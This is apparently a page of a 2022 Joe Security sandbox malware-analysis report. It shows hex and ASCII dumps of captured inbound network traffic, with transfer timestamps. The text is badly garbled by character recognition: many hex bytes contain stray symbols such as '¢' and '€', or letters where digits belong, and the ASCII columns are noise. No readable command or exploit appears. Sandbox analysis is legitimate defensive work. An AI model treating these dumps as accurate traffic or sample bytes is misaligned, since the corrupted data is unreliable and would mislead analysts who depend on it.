Data Ascii: *&Xegs+I$1)Rb"a{5"Zj-aL5V*n|$/VWPfijlO0{n~?%N#WIX#+_" z I/E -$x,QwxK|,sMT4M]"c"acONc5YH{)N

Data Raw: 7b 0d 07 12 Ob 66 f1 b3 5¢ 97 cf 41 ¢3 80 03 61 21 d8 2b bc 47 d8 ca eb ac 03 07 12 Ob 66 f1 b3 5¢ 97 4d cO
5b 0a 65 62 da ee 3f 34 20 4c e4 3d 8a a4 07 12 Ob 66 f1 b3 5¢ 97 a9 ce 58 88 be 99 a0 db f5 17 24 33 4e fd eb c7 07 12
Ob 66 f1 b3 5¢ 97 6a 49 8¢ 77 52 f5 f4 7a 91 fb 9a 50 c1 32 ec a9 07 12 Ob 66 f1 b3 5¢c 97 a9 b8 87 33 e5 2f 45 1a 49 bf 10
€899 47 2b 24 94 a8 a5 47 bc 9d 03 3a 74 c1 08 1e ff 04 2c ae a0 8e 67 2d 62 48 00 18 de 26 el d9 02 d2 70 fc 07 12 Ob
66 f1 b3 5¢ 97 61 b6 be ae 5a le c9 fa 16 20 1a ca 2b 45 fe 4d 4c 30 33 b8 1c de 09 78 71 25 f2 82 eb 68 c1 00 85 53 06
d8 7f 8a e7 a6 58 0d f9 7b 86 84 98 0d df 8e 53 67 c5 be b8 a9 5b bb bd a9 ad 99 c4 7 58 0d f9 7b 86 84 98 0d 3c 01 30
6a b9 26 48 d3 ca 1d 56 37 48 66 67 29 60 ce ca 65 59

Data Ascii: {\Aal+Gf\M[eb?4 L=AX$3NAjlwRzP2\3/EIG+$G:t,g-bH&pf\aZ +EMLO3xq%hSX{Sg[X{<0j&HV7Hfg) eY

Data Raw: c6 86 Oa b4 f7 4b a0 82 04 48 2c a5 73 7c a7 d5 0f a0 01 31 7d 26 89 al 71 1a 3c 79 4 84 27 fb 2a 3c 06 94
3a 94 86 36 ba 9f 41 d0 a8 5a f7 44 fe 46 9f e6 39 a2 14 55 c¢1 9d d7 c¢3 19 86 e0 6d ca 15 8f f2 30 b2 b8 4b 8 8a 2b d1 c5
12 a6 d7 f1 fc 58 0d f9 7b 86 84 98 0d 3c 01 30 6a b9 26 48 d3 89 ce 5e 4a 5a 38 0a 40 35 d8 a4 19 05 61 c5 80 4c 30 33
b8 1c de 09 78 6b 41 30 d3 c7 a2 d3 bb 77 af 82 01 5c ca 5a 7d 58 0d f9 7b 86 84 98 0d 06 4d e6 19 fb 93 3c a8 bc 1c 5b
cd 2c 5f 6¢ a5 58 0d f9 7b 86 84 98 0d d2 99 4c 40 bd 16 d6 f8 fc 34 ae ec e0 3b eb 2e 2f 56 be 9a 55 fa fe 6b 8b cb 81 41
cc 70 d7 48 d7 ¢3 19 86 e0 6d ca 15 6¢ 54 a4 42 45 20 49 a2 Ob f9 d9 65 4c 83 57 63 58 0d f9 7b 86 84 98 0d b4 05 6e fc
42 c3 ¢4 9c 44 55 85 81 bd 44 cc f0 58 0d f9 7b 86

Data Ascii: KH,s|1}&q<y*<:6AZDF9UmMOK+X{<0j&H"NZ8@5al 03xkAOW\Z}X{M<[,_IX{L@4;./VUKApHmMITBE leLWcX{nB
DUDX{

Data Raw: 98 0d 3¢ 01 30 6a b9 26 48 d3 d3 8c el 3d c2 1e ef 7 9d 5b b1 7e 1c fa cO 35 07 12 Ob 66 f1 b3 5¢ 97 24 el
3194 fc 6a 86 5b ca af 32 a8 d8 91 77 b5 e1 84 3b al eb f7 7d 09 46 4b 15 93 cc 7c 4b 08 3c a7 3b 18 4a 7c 34 12 07 12
0b 66 f1 b3 5¢ 97 ea 22 07 b4 05 9f 58 80 63 22 1d 8b fa 42 6f €9 07 12 Ob 66 f1 b3 5¢ 97 4d ae 9a 80 Oc a4 8e 88 f6 9c
80 7d ad 39 08 a0 4c 30 33 b8 1c de 09 78 60 c2 10 cd 3 19 ¢8 6a f2 7d 2d ee d9 14 e3 4e 58 0d 19 7b 86 84 98 0d 1d f9
2706 e1 19 17 cc 51 88 ¢5 d8 12 97 3e 59 6 c9 b2 2¢ 44 3¢ 68 b9 4c 30 33 b8 1c de 09 78 b7 17 dd bb 69 €7 5b 28 b8
78 1a72 22 61 d8 1c 58 0d f9 7b 86 84 98 0d 3c 01 30 6a b9 26 48 d3 2d da 88 9c 9c Of e6 a8 54 07 c6 24 02 2e 93 d3
07 12 Ob 66 f1 b3 5¢ 97 8¢ 04 2e 6a 8a 48 96 fb 9e b3 2d 3b 29

Data Ascii: <0j&H=[~5A\$1j[2w;}FK|K<;J|41\"Xc"BoAM}ILO3X j}-NX{'Q>Y,D<hLO3xi[(x"aX{<0j&H-T$.f\ jH-;)

Data Raw: 98 0d 3c 01 30 6a b9 26 48 d3 14 01 87 65 af 98 f5 d5 a3 53 41 c5 94 a5 81 86 4c 30 33 b8 1c de 09 78 68 24
5¢ 2a 25 d7 56 b7 6d 8f ce 22 59 32 19 71 58 0d 9 7b 86 84 98 0d 3¢ 01 30 6a b9 26 48 d3 b8 80 2e 8 37 9a 04 ba bf 78
26 €9 96 a9 ec 52 07 12 Ob 66 f1 b3 5¢ 97 04 Ob 1b 24 eb cf dd bc 47 d5 63 af 75 39 56 d0 07 12 Ob 66 1 b3 5¢ 97 fa a2
de fe 06 8e e4 2c 8e 4d 89 €9 ff 80 7b 10 94 a8 a5 47 bc 9d 03 3a 74 ¢l 08 1e ff 04 2c ae 2a 29 2f 37 5d 2a 14 5a a5 7b
0b 89 5b 41 3f 65 07 12 Ob 66 f1 b3 5¢ 97 €9 5b 57 bb 4e 93 5e 24 94 ¢9 2d da 25 78 7d 2¢ d7 ¢3 19 86 €0 6d ca 15 3f 50
9c 03 f4 7d e5 2f bf ac 7d 7c ae Oe eb 93 58 0d f9 7b 86 84 98 0d 1d f9 27 06 el 19 17 cc b9 9f f5 50 35 71 el d5 a9 c0 15
8¢ 2b b2 75 49 63 1b 51 0b 3 b3 cc 6¢ 67 ee e4 ce cb

Data Ascii: <0j&HeSALO3xh$\*%6Vm"Y 2 X{<0j&H. 7x&RASGCUIVA, M{G:t,*)/ 7] Z{[A2eA[WNAS$-%x}, m?PH}|X{ P5q+ulcQlg

Data Raw: c9 ea 06 4d el 86 2c dO b7 e4 bd 3c d1 ¢4 17 c0 65 ¢3 9d f3 9a c9 5a 0d cf ae 18 f5 fa ef 1a 5b 8c 3f 5d 2d bd
7879 43 f8 50 a2 b1 81 fe 4f a4 26 b9 2b 86 55 ea 51 30 86 00 60 14 c7 9a 26 {3 41 1f e2 06 8e 1d ff 68 d2 a4 aa 64 98
d8 55 db al 5e 18 ac eb f8 67 9c c6 be 87 d8 d1 97 86 15 a4 00 14 b4 a7 00 8a 6¢ 24 5f 01 48 99 49 Oe c5 6b 02 a9 37
c6 fb 33 4c d6 33 Oe 58 b4 21 a6 14 91 9e fO bb 1b 7e al 12 3f 9a 79 e9 ce f6 2e 97 67 3f 22 3f 87 53 1b 08 37 8b 4c 5a
9 6f 3f db 7a 04 df 45 8c b1 9a 5e ce b8 18 c0 69 72 de c8 c7 b2 c3 84 ef 18 a2 d8 17 52 76 c3 dd f1 €9 e9 b3 4f cd 1a 03
a6 06 ba f7 19 ee 9f 64 e6 7d 21 64 f3 54 46 9a 9f 51 7a 09 4c b3 9d 75 b5 29 03 ec 75 44 09 4f 99 c5 3e e7 9d 7b d9 f3
83 a8 b2 dd 48 0f 78 85 69 06 ff 8f fe 92 Ob cd bf 53

Data Ascii: M,<eZ[?]-xyCPO&+UQO0 &AhdU"gl$_HIk73L3X!~?y.g?"?S7LZ0?zErRvOd}!dTFQzLU)uDO>{HxiS

Data Raw: ¢3 23 €5 03 49 30 05 10 db 60 Ob b2 29 16 d8 8b dd 6a 39 e9 1e 1c c4 f8 ef 6d 88 7b el 13 e8 8b ae 3a cb 62
58 d3 a7 20 bb 1b fc c2 a6 9a 8e 86 3f 26 f8 80 01 cd bf ca 2b 67 bd 49 4e 38 f2 56 b3 a0 23 12 5¢ ba 61 75 b3 d1 99 b3
7537 eb 28 3e 1b 83 67 f8 ca 9d ff 63 d9 77 cc 75 e8 2b 5b a2 3e 19 8d ca 65 05 96 c9 9a 26 6e aa be 85 f8 Ob 62 00 64
bf 8a d4 al ee ce c3 34 37 9e 46 18 73 04 c5 e0 4a 48 6e 18 86 fe b4 02 83 6a 7d be Oc 05 a6 c5 69 3 ce c2 14 5e bc 38
41 df 01 3e c558 al 1c 67 e8 c1 35 5b ff 00 cd a4 e8 9e bd af 84 4e 75 f0 06 9a 60 72 94 2 8¢ 1f ec el 1b e9 dc 92 7d
37 47 80 8c bf 14 6¢ 4e 95 ad 71 99 7e 0Of 25 9b 84 35 e ce cc b4 b6 aa €9 3f 75 b2 48 0d df 92 c7 9f e2 6¢ a5 58 39 ae
72 fb df 10 ce 33 7c a0 12 93 42 d7 55 ¢4 77 7b 39 25 90

Data Ascii: #10°)j9m{:bX ?&+gIN8V#\auu7(>gcwu+[>e&nbd47FsIHnj}i*8A>Xg5[Nu'r}7GINg~%5?uHIX9r3|BUW{9%
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2022-06-23 16:20:18 UTC 1834 IN
2022-06-23 16:20:18 UTC 1842 IN
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Data

Data Raw: 2a af d3 cf 7f e4 6a 38 64 a6 99 9a Ob 32 82 el 4a c2 b1 35 2b 58 0f 87 a0 01 f2 07 2b ec c¢3 41 b7 55 fa a4 9e
3899 c3 c4 bb 92 4d 4d d3 fa a2 aa 8a 9e 07 eb 90 6f 88 9e 88 89 e6 cc d7 ad 29 a6 66 fO 44 4b 86 03 52 f9 da 89 49 77
4b Oc ce 35 9f aa 39 91 17 3b 86 00 97 cb 21 f4 cf f1 59 96 bd 8e 27 68 00 75 5¢ 68 82 bl cd d7 4a e6 a2 e0 59 d5 7a 90
5d 8e 02 88 7a 76 b7 fa 34 c9 9e c0 68 Oe 6b 82 a4 d1 fc 0d fO 43 69 f5 36 f5 46 55 15 €8 66 68 7b cO cc 1e c¢3 30 03 1d
7 6f 13 71 8f c5 a3 ab 2f 8b 21 59 18 46 a7 5b 30 cf e6 dO 7d af 0d 25 44 01 35 96 76 €9 9b c8 21 94 f9 fO cd 13 11 4a 39
b7 40 75 94 32 03 cc 38 8d a8 d1 d8 d1 29 e5 82 87 ac 96 1c aa 9f 85 ea 57 e8 04 ad bd a6 87 5a e8 36 4f 10 9a 4b 87 ff
84 02 d5 14 d2 ad aa be d6 ee a9 c6 59 f2 5c ef €9

Data Ascii: *j8d2J5+X+AU8MMo0)fDKRIWK59;!Y'hu\hJYz]zv4hkCi6FUfh{0oq/!YF[0}%D5v!J9@u:8)WZE0KY\

Data Raw: fb bc 09 e6 07 2e b6 a2 8e el 34 8b d4 7a 7c d9 59 c4 a2 28 a3 bl 1le a4 89 86 al 35 {7 38 9f 58 9f 5d 91 ad
75 ca 1d df d2 d7 73 60 33 42 d3 41 a6 7f 35 ad b9 f5 cb 2e 09 20 18 60 db 76 ed b2 a7 d4 c5 36 58 ab 11 97 96 cc 63 77
€2 48 9d 96 30 61 a7 72 3f d2 0d 5d b0 32 Ob a6 6e 71 a6 cc ¢3 58 12 23 38 9e 11 7a 3f 9f 20 26 4f 92 e4 ce 90 37 74 25
f1 64 51 0f 08 1b ea aa 5d 36 44 a5 43 3c 28 1e ba d5 f7 d7 fb e7 4a 28 1a 21 26 €5 71 3d 88 d4 54 15 db 5b 97 fd el 8¢
4170 63 16 18 33 b7 5b 72 41 6b 58 f1 39 8d 08 {7 Ob be 8c ef 8f 87 65 df 08 a0 0d 28 5 a8 dd bf d3 71 38 a3 f2 b6 71 73
99 7822 03 dd el d2 16 33 78 €8 c6 06 63 b3 1b 43 47 ee a7 4f 0 8d ec 2a cc 62 10 c6 3e 86 5e 66 7a 6¢ d1 e3 85 40
6f 88 5¢ df fd 5¢ 4a 57 82 32 4d 51 al f0 af f5 5a fO d4

Data Ascii: .4z|Y(58X]us 3BA5. "v6XcwHO0ar?]2ngX#8z? &07t%dQ]6DC<(J(!&q=T[Apc3[rAkX9e(q8gsx"3xcCGO*b>
Mzl@o\JW2MQZ

Data Raw: 5e ab 54 f6 69 5b 93 de cf Oe d0 06 99 25 ea 3c d2 a4 32 66 f9 Oe 5d 8f €8 7f a7 ed ae b0 c8 34 c3 ad 94 4f a6
4aeb 91 f9 da 92 cb 1b cb fc a6 20 39 71 38 7f 04 be 50 85 2d 7a 13 e0 9b 20 bb f0 d0 14 7f 3d 14 fa 79 64 43 3c 8e 1f
b9 6a 89 26 3b a7 ed ae b0 c8 34 c3 ad el aa 7a 14 b4 b7 fb de 92 cb 1b cb fc a6 20 39 23 7e 8b 39 c4 8a 2a 4e d9 31 dc
30 a3 c156 7c c9 38 31 5b 75 9e 80 51 fb 99 23 20 2¢c d3 c8 1d a7 ed ae b0 c8 34 c3 ad c8 65 b2 83 c9 57 62 33 92 cb
1b cb fc a6 20 39 1b 37 76 56 24 2a aa a4 7 2b 97 a9 4d ce 64 98 17 60 53 4f e6 4f 68 1f 8a 3a 1d a9 39 35 34 7f a7 ed
ae b0 c8 34 c3 ad 8b 66 72 53 b7 e6 ea 2¢ 92 cb 1b cb fc a6 20 39 8e 90 e7 d0 09 6e 3b c6 c7 9d d6 a0 31 97 1e b2 7b
a6 de d1 90 7d e0 ad 28 9b ce 7e f5 ee b8 ee a7 ed ae b0 c8

Data Ascii: ATi[%<2f]40J 9q8P-z =ydC<|&;4z 9#~9*N10V|81[uQ# ,4eWhb3 97vW$*+Md SOO:9544frS, 9n;1{}(~

Data Raw: 02 ac 00 14 8c d7 3b 31 b9 68 16 c9 be 74 c5 93 11 9a 16 5d bf b8 d9 48 19 db 14 21 5a 45 00 67 3c cb 24 26
2d b3 95 20 30 1a 80 la ed ch 9e Oe 28 45 d5 b7 e8 35 2f Ob 60 b2 2b e6 6b 5¢c 5e 35 ¢7 cb 49 ¢7 08 al 32 53 1a 89 73
3e b5 24 eb cf 65 ce f1 e9 4d 9a dd f2 27 f8 92 af 23 a5 57 03 49 ce f2 b4 ea 8d 1a 91 be 4d 8d 6a de bb bc Oc Oc 51 a0
59 cf 7b dd 42 4c 8f a3 d4 12 2a 5f 9b 43 Ob 1d ec 60 8a Oc 9b c4 43 fb 0d 34 ca fe ab 73 d3 23 bf 73 83 c9 e7 28 ff 03 91
91 6f 7e fb f5 5b d5 b7 e8 35 2f Ob 60 b2 3d 4a 9c 21 72 05 2d {7 93 70 Oe 08 93 cf cb 62 2f 1c 9a e2 58 35 f0 80 74 65 {7
71 e5 d2 cf c9 5f 79 bb 61 ff 28 19 ce b2 2b 9d 49 11 33 fd 26 c1 94 88 aa 3a 62 c7 8f 9f 63 6b 82 11 40 40 77 a6 90 1b 8¢
61 5f 30 eb 99 46 3a aa b5 7b 70 99 f9 96 b0 el 41

Data Ascii: ;1ht]H!ZEg<$&- 0(E5/ +k\"512Ss>$eM'#WIMjQY{BL*_C C4st#s(o~[5/'=J!r-pb/X5teq_ya(+I3&:bck@@wa_OF:
{pA

Data Raw: 64 01 9d ad c7 27 b3 f6 39 e3 a3 c4 ed 78 03 3d 8e 92 79 Oe 8a 7e 63 34 de 84 31 dd 18 af 70 ac 23 ce 06 c7
91 ae 43 el 5b b5 47 48 15 2a ch be 38 04 Oc b7 de eb 1e 99 c9 6a 9d ad c7 27 b3 f6 39 €3 00 b5 14 73 67 b2 9e el 41
82 d8 80 55 a2 f7 04 Ob 57 a0 fc 2a 39 a8 75 74 Ob 68 €0 39 00 ab d1 47 48 15 2a cb be 38 04 99 3f d7 a5 cb 74 ce 39 c1
94 88 aa 3a 62 c7 8f 9e 83 09 94 9b 8e 03 99 Ob 31 16 c¢7 d1 bd b7 c3 4d bb 89 89 ad b2 f3 cf 30 15 fc c3 86 7b 9e fb cO
57 3b c9 bb f1 30 0d 81 66 80 7a 20 44 86 df d5 b7 €8 35 2f Ob 60 b2 c3 d4 ab 5a ca d8 cf 5a 7 0f 4c 42 7b d5 24 18 79
a4 36 4f 2d 79 ¢4 11 73 5b 2¢ 60 41 17 b0 3f 35 e4 6b ec 8f 80 16 95 ef 7c 81 f6 2a 66 cd 3c d5 b7 e8 35 2f Ob 60 b2 68
44 25 2d 0f 18 ff 52 9a df a3 78 Ob Oc 40 af 1f d8 e9 8f 03

Data Ascii: d'9x=y~c41p#C[GH*8j'9sgAUW*9uth9GH*8?t9:b1M0O{W;0fz D5/°ZZLB{$y60-ys[,” A?5k|*f<5/"hD%-Rx@

Data Raw: d9 6e 16 62 a5 7d fd 8b 99 1d 62 2a 6b 4a 06 27 2b a9 8b da 76 0d 6f a3 7e c7 e6 bd b4 f0 26 d7 7e 2e Oc Oa
bf fb be 4c 1c 25 b8 bd db a0 97 e5 fe 1f 14 5b 9a al ea ba 16 89 64 07 31 40 de 91 e5 Ob 9d ad c7 27 b3 f6 39 e3 d8 88
5350 13 75 4c 65 ec 1c 7a a7 19 05 f5 36 1b 5a 57 c4 29 3e 12 78 00 4d c3 43 43 87 15 3c 47 48 15 2a cb be 38 04 64
€2 91 6a 63 04 58 b6 9d ad c7 27 b3 f6 39 e3 9e d0 a3 a3 dd 39 4d 11 a5 ce d1 42 5a 29 22 56 44 32 4a a7 4c 51 f7 64
ae b2 0a e6 74 15 32 8¢ 47 48 15 2a ch be 38 04 92 04 Oa c7 94 cb ac f0 9d ad c7 27 b3 f6 39 e3 ef d6 3a b8 e4 7c e5 5
79 95 35 30 d5 f0 9b f2 2c a7 cf dc 31 51 eb de 7b 1f de b2 a2 11 0f 67 47 48 15 2a cb be 38 04 38 11 d8 52 04 81 86 3a
9d ad ¢7 27 b3 f6 39 e3 33 2f 75 35 €5 05 14 56 d9 72 f2 54 51

Data Ascii: nb}b*kJ'+vo~&~.L%[d1@'9SPuLez6ZW)>xMCC<GH*8djcX'99MBZ)"VD2JLQdt2GH*8'9:|y50,1Q{gGH*88R:"
93/usVITQ

Data Raw: 56 7e d9 38 e7 78 2a 70 7c a7 32 47 €3 c0 63 b8 bc a3 29 81 97 aa 80 f2 e9 82 01 ab ad 64 b6 e7 87 2e bc 3e
65 a6 dd 40 49 16 ed 90 63 86 7b 58 1b c3 fd b9 8e 82 22 de eb 17 d9 38 e7 78 2a 70 7c a7 bc a5 a3 a2 c1 d0 8b ¢3 29
81 97 aa 80 f2 €9 82 ec c8 1b 2a b6 4d 05 Oc bc 3e 65 a6 dd 40 49 16 ae bb 3f dd b8 cf 9c 4e 66 20 54 61 9f eb 9a 44 d9
38 e7 78 2a 70 7c a7 8b 4d 2f 0a 4c 00 67 29 29 81 97 aa 80 f2 €9 82 bf f0 €3 f4 2b 1d 74 67 bc 3e 65 a6 dd 40 49 16 f9
9a d9 a5 36 f9 91 43 66 20 54 61 9f eb 9a 44 d9 38 e7 78 2a 70 7c a7 30 5¢ eb 35 a4 a8 f1 45 29 81 97 aa 80 f2 €9 82 26
f2 0d c8 ac 41 f6 ed bc 3e 65 a6 dd 40 49 16 f3 00 65 ed f9 Oe 80 2f 9a fe 30 36 62 ab 0d dc d9 38 e7 78 2a 70 7c a7 b0
€0 71 a5 99 c8 4d 50 29 81 97 aa 80 f2 €9 82 b6 96 e3 3a 87

Data Ascii: V~8x*p|2Gc)d.>e@Ic{X"8x*p|)*M>e@I?Nf TaD8x*p|M/Lg))+tg>e@I6Cf TaD8x*p|0\5E)&A>e@1e/06h8x
*plaMP):

Data Raw: ¢7 5c 50 88 88 7c d1 81 cd 60 d9 38 e7 78 2a 70 7c a7 2d ce 9d e7 cb 3c e7 2b 29 81 97 aa 80 f2 €9 82 09 b4
dd 45 1b 3b 96 dd bc 3e 65 a6 dd 40 49 16 fO bc 72 77 9d dc b5 35 50 88 88 7c d1 81 cd 60 d9 38 e7 78 2a 70 7c a7 46 f1
90 d3 18 56 c6 6e 29 81 97 aa 80 f2 €9 82 e7 ca 84 39 24 92 36 05 bc 3e 65 a6 dd 40 49 16 91 29 13 e2 91 33 a8 f8 50
8888 7c d1 81 cd 60 d9 38 e7 78 2a 70 7c a7 82 88 e2 f7 22 b6 46 be 29 81 97 aa 80 f2 €9 82 ec 35 76 al 01 1e 00 fb bc
3e 65 a6 dd 40 49 16 5f 86 18 49 cb ff b5 0a 50 88 88 7c d1 81 cd 60 d9 38 e7 78 2a 70 7c a7 24 a6 34 16 7f e7 19 e0 29
8197 aa 80 2 €9 82 41 3d a8 9f 35 e5 c5 d2 bc 3e 65 a6 dd 40 49 16 df 07 b3 f4 13 fa dO fc 50 88 88 7c d1 81 cd 60 d9
38 e7 78 2a 70 7c a7 ff d1 6¢ 80 33 77 d3 2b 29 81 97 aa 80

Data Ascii: \P| 8x*p|-<+)E;>e@Irw5P| 8x*p|FVn)9$6>e@I)3P| 8x*p|"F)5v>e@I|_IP| 8x*p|$4)A=5>e@IP| 8x*p|I3w+)

Data Raw: 49 16 18 07 21 c5 f7 81 13 c1 88 65 38 da d1 df 02 74 d9 38 e7 78 2a 70 7c a7 a4 42 9b 9a b2 50 a8 34 29 81
97 aa 80 f2 €9 82 e4 77 85 03 68 89 06 4d bc 3e 65 a6 dd 40 49 16 82 dd 95 d1 ec ee 56 d9 88 65 38 da d1 df 02 74 d9
38 e7 78 2a 70 7c a7 d8 4e Oe e5 5e 77 82 f4 29 81 97 aa 80 f2 €9 82 f6 7c c9 1d Of Oa 36 53 bc 3e 65 a6 dd 40 49 16 2b
1a 4113 bb fe ac 4b ea 24 7b a7 a7 6a 78 02 d9 38 e7 78 2a 70 7c a7 a9 a0 0d 93 2a ce c2 c0 29 81 97 aa 80 f2 e9 82
24 3f 60 9f 94 03 7d 3a bc 3e 65 a6 dd 40 49 16 5b c3 86 84 f2 02 47 b2 a7 9b 17 7 ef f6 92 9e d9 38 7 78 2a 70 7c a7
b4 77 b5 a5 3b e6 05 fd 29 81 97 aa 80 f2 €9 82 9d c8 40 3f 5d 8a 5b a7 bc 3e 65 a6 dd 40 49 16 b0 b6 48 Of 1f 43 6f 8e
fe c4 15ca 32 2d 7d 0f d9 38 e7 78 2a 70 7c a7 3b 98 1a Oa 57

Data Ascii: 1!e8t8x*p|BP4)whM>e@IVe8t8x*p|N"w)|6S>e @I+AK${jx8x*p|*)$? }:>e@I[G8x*p|w;)@?][>e @IHC02-}8x*p|;W

Page 93 of 112



kBytes

Timestamp transferred Direction
2022-06-23 16:20:18 UTC 1881 IN
2022-06-23 16:20:18 UTC 1889 IN
2022-06-23 16:20:18 UTC 1897 IN
2022-06-23 16:20:18 UTC 1904 IN
2022-06-23 16:20:18 UTC 1912 IN
2022-06-23 16:20:18 UTC 1920 IN
2022-06-23 16:20:18 UTC 1928 IN
2022-06-23 16:20:18 UTC 1936 IN
2022-06-23 16:20:18 UTC 1944 IN

Copyright Joe Security LLC 2022

Data

Data Raw: 3d 7 bc 3e 65 a6 dd 40 49 16 9f 3d Oa d9 a3 06 5f e7 94 c2 3a 4b 67 2d 30 b5 d9 38 e7 78 2a 70 7c a7 73 9c
78 3b 7e 90 a2 2c 29 81 97 aa 80 f2 €9 82 59 21 a2 3d f8 33 ed 18 bc 3e 65 a6 dd 40 49 16 Ob 62 2f Oc 4d cd 3a ba 92 1a
2f 06 3c ee fa 9b d9 38 e7 78 2a 70 7c a7 c7 b9 29 b6 57 el e5 f5 29 81 97 aa 80 f2 €9 82 c1 7 d8 8c 3f 31 62 56 bc 3e
65 a6 dd 40 49 16 72 bl 73 9d 20 82 7a 4d 56 51 b4 f3 bf 6d b6 a6 d9 38 e7 78 2a 70 7c a7 9b 82 bc fd 99 4f fc 19 29 81
97 aa 80 f2 €9 82 7b 03 bc 2e Oe c4 95 45 bc 3e 65 a6 dd 40 49 16 76 7d 3b 3a 46 de 00 4f 3f 2c 94 4f b2 3a e0 85 d9 38
e7 78 2a 70 7c a7 6d c6 f3 5d 61 Oc b6 40 29 81 97 aa 80 f2 €9 82 6a 94 b2 b9 a6 e3 4f 37 bc 3e 65 a6 dd 40 49 16 73 bl
e252 13 8af4 c5dd 29 e2 5d 3b b9 75 d6 d9 38 e7 78 2a

Data Ascii: =>e@I=_:Kg-08x*p|sx;~,)Y!=3>e@Ib/M:/<8x*p|)W)?1bV>e@Irs zMVQm8x*p|O}{.E>e@Iv};:FO?,0:8x*
p|mla@)j07>e@IsR)];u8x*

Data Raw: e9 82 94 20 42 51 93 ad 82 3a bc 3e 65 a6 dd 40 49 16 df a8 af e2 80 d1 e3 50 f0 81 3b f2 cb 6e eb ed d9 38
e7782a707ca7c277310a72alace0 298197 aa 802 e9 82 cl c8 18 e4 de d9 4a 2f bc 3e 65 ab dd 40 49 16 1d 50
8 €8 40 3e 9b 35 f0 81 3b f2 cb 6e eb ed d9 38 e7 78 2a 70 7c a7 68 65 95 e5 26 07 02 01 29 81 97 aa 80 f2 €9 82 37 73
d6 b3 18 89 aa 04 bc 3e 65 a6 dd 40 49 16 64 a5 50 65 73 dc f3 f0 f0 81 3b f2 cb 6e eb ed d9 38 e7 78 2a 70 7c a7 81 ff
4d 39 c2 ca 3e c9 29 81 97 aa 80 f2 €9 82 e7 ch 62 ec 65 46 €6 ec bc 3e 65 a6 dd 40 49 16 Oc 36 45 01 2e f8 15 87 fO 81
3bf2 ch 6e eb ed d9 38 e7 78 2a 70 7c a7 bf 05 98 f6 11 c5 9c dO 29 81 97 aa 80 f2 €9 82 2f Oe 66 ae bl 72 25 70 bc 3e
65 a6 dd 40 49 16 33 db 71 66 a3 44 e6 de f0 81 3b f2 cb

Data Ascii: BQ:>e@IP;n8x*p|w1r)J/>e@IP@>5;n8x*p|he&)7s>e@IdPes;n8x*p|M9>)beF>e@I6E.;n8x*p|)/fr%p>e@13qfD;

Data Raw: 85 44 29 81 97 aa 80 f2 €9 82 55 53 2d ca 2c¢ 57 6f 54 bc 3e 65 a6 dd 40 49 16 fb 6b 10 f6 9d 00 54 5a 9c a5
9b b4 a8 a7 30 3c d9 38 e7 78 2a 70 7c a7 e2 ff 35 45 90 6b fd 66 29 81 97 aa 80 f2 €9 82 50 07 73 a2 82 4f 06 98 bc 3e
65 a6 dd 40 49 16 50 ed 25 60 cc 29 a9 10 9c a5 9b b4 a8 a7 30 3c d9 38 e7 78 2a 70 7c a7 d6 1c af 87 ¢1 93 09 c2 29
81 97 aa 80 f2 €9 82 43 e4 4a 40 3f b5 32 87 bc 3e 65 a6 dd 40 49 16 a6 40 74 ec e4 ¢3 33 d5 9c a5 9b b4 a8 a7 30 3c
d9 38 e7 78 2a 70 7c a7 58 b2 c6 49 39 3a 8d 21 29 81 97 aa 80 f2 €9 82 02 75 84 bb 52 8b 35 8 bc 3e 65 a6 dd 40 49 1
6 f1 25 32 88 18 23 2d 63 9c a5 9b b4 a8 a7 30 3c d9 38 e7 78 2a 70 7c a7 26 d1 b4 03 4e 26 9b dO 29 81 97 aa 80 2 €9
82 39 9f c5 84 40 19 2e 91 bc 3e 65 a6 dd 40 49 16 03 7a 21 25 70

Data Ascii: D)US-,WoT>e@IkTZ0<8x*p|5Ekf)PsO>e@IP%")0<8x*p|)CI@?2>e @|@t30<8x*p|X19:!)uR5>e @|%2#-c0<8x
*p|&N&)9@.>e@1z!%p

Data Raw: 7c a7 4a fe ea c7 ac 18 3a ee 29 81 97 aa 80 f2 e9 82 09 f5 5a f2 1a 41 59 fc bc 3e 65 a6 dd 40 49 16 bb 50 4a
989300 bce9 a2 f5al 289a7d 1198 d9 38 e7 78 2a 70 7c a7 70 10 99 a8 82 f4 48 96 29 81 97 aa 80 f2 €9 82 4b 89 %e
87 f5 3d 6f 99 bc 3e 65 a6 dd 40 49 16 2d bd cf d7 df 57 3f fa 65 89 4b 86 40 b6 f1 7c d9 38 e7 78 2a 70 7c a7 60 Of 92 ff
ac f0 9c 1d 29 81 97 aa 80 f2 €9 82 f5 61 85 80 68 ee 71 f7 bc 3e 65 a6 dd 40 49 16 b7 4a 78 ff d9 1c fa fc 65 89 4b 86 40
b6 f1 7c d9 38 e7 78 2a 70 7c a7 c¢3 dc 78 a8 c8 75 f8 bf 29 81 97 aa 80 f2 e9 82 57 21 34 b9 Oc ¢8 b1 19 bc 3e 65 a6 dd
40 49 16 7e 8d 1b 9f 14 dc e6 19 89 43 27 29 5a 5e 24 a8 d9 38 e7 78 2a 70 7c a7 63 19 37 76 ff b8 7f f4 29 81 97 aa 80
f2 €9 82 6d f1 d1 5a 2f 07 f5 3b bc 3e 65 a6 dd

Data Ascii: |J:)ZAY>e@IPJ(}8x*p|pH)K=0>e @I-W?eK@|8x*p|")ahg>e @1IxeK@|8x*p|xu)W!4>e @I~C")Z"$8x*p|c7V)
mZ/;>e

Data Raw: Ob b4 25 e6 fa 13 c9 8c 4b ed 34 db 9c 68 ef f1 a3 92 d6 b4 04 46 63 1b 26 1c c7 4e c7 05 46 a8 74 aa da 9b
ab ed 2f 5f 4a 7e d6 b4 04 46 63 1b 26 1c c7 4e c7 05 46 a8 74 aa 46 45 37 e3 9a 3b ed d6 f6 64 b7 8d da 29 Ob b4 6d 65
24 3f 8¢ b3 58 13 46 45 37 e3 9a 3b ed d6 f6 64 b7 8d da 29 Ob b4 6d 65 24 3f 8c b3 58 13 46 45 37 €3 9a 3b ed d6 f6 64
b7 8d da 29 Ob b4 6d 65 24 3f 8c b3 58 13 46 45 37 3 9a 3b ed d6 f6 64 b7 8d da 29 Ob b4 6d 65 24 3f 8c b3 58 13 46 45
37 e39a3b ed d6 f6 64 b7 8d da 29 Ob b4 6d 65 24 3f 8c b3 58 13 46 45 37 e3 9a 3b ed d6 e6 ec 25 12 a2 c3 60 33 8¢
70 fe 44 75 97 c0 b1 46 45 37 e3 9a 3b ed d6 f6 64 b7 8d da 29 Ob b4 25 e6 fa 13 c9 8c 4b ed 34 db 9c 68 ef f1 a3 92 d6
b4 04 46 63 1b 26 1c c7 4e c7 05 46 a8 74 aa f1 85 d0 a0 6f

